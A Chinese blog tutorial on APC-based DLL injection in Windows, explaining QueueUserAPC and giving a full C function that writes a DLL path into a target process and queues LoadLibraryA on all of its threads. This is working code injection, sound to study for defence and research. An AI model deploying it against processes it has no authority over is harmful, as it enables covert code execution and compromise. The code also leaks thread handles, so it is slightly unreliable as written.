DLL注入-APC注入

selph
selph
发布于 2020-10-14 / 664 阅读
0
0

DLL注入-APC注入

原理介绍

APC(异步过程调用),指的是函数在特定的线程中被异步执行,在Windows系统中,APC是一种并发机制,用于异步IO或者定时器

每个线程都有自己的APC队列,使用QueueUserAPC函数可以把APC函数压入APC队列中去

当处于用户模式的APC被压入线程APC队列中,不会直接调用执行,除非该线程处于可通知的状态(当线程内部使用SleepEx、SignalObjectAndWait等函数把自己挂起时,进入可通知状态,APC队列函数开始执行)

QueueUserAPC API

DWORD
WINAPI
QueueUserAPC(
    _In_ PAPCFUNC pfnAPC,    //APC函数地址
    _In_ HANDLE hThread,    //线程句柄
    _In_ ULONG_PTR dwData    //APC函数参数
    );

第1,3个参数分别是函数地址和参数地址,类似远程线程注入

不过APC注入的目标是目标进程的所有线程,当函数为LoadLibraryA,参数为dll路径时,只要有一个APC函数执行了,即可实现dll注入

实现思路

那么实现流程大概就是:

  1. 打开目标进程
  2. 获取LoadLibraryA的地址,向目标进程写入dll的路径
  3. 遍历线程,判断线程所属Pid,选择目标线程id,打开线程(THREAD_ALL_ACCESS权限)
  4. 调用QueueUserAPC API完成APC注入
  5. 关闭各种句柄

代码实现

BOOL APCInjectDLL(DWORD dwPid,char* pszDllName) {
	//打开进程,获取进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
	if (hProcess == NULL) {
		return FALSE;
	}

	//向目标进程申请空间写入dll全路径
	int nSize = strlen(pszDllName);
	LPVOID pDllAddr = VirtualAllocEx(hProcess,NULL,nSize,MEM_COMMIT,PAGE_READWRITE);
	DWORD dwWrittenSize = 0;
	WriteProcessMemory(hProcess,pDllAddr,pszDllName,nSize,&dwWrittenSize);
	if (dwWrittenSize <= 0) {
		return FALSE;
	}

	//获取LoadLibraryA的地址
	HMODULE hMod = GetModuleHandleA("kernel32.dll");
	PTHREAD_START_ROUTINE pFuncAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryA");
	int a = GetLastError();

	//创建线程快照
	THREADENTRY32 te = { 0 };
	te.dwSize = sizeof(te);
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnap == INVALID_HANDLE_VALUE) {
		return FALSE;
	}

	DWORD dwRet = 0;
	HANDLE hThread = NULL;
	if (Thread32First(hSnap, &te)) {
		do {
			if (te.th32OwnerProcessID == dwPid) {
				hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
				if (hThread) {
					dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr,hThread,(ULONG_PTR)pDllAddr);
					hThread = NULL;
				}

			}
		} while (Thread32Next(hSnap, &te));
	}
	CloseHandle(hThread);
	CloseHandle(hProcess);
	CloseHandle(hSnap);
	return TRUE;
}

效果演示

image-20201012194028529


评论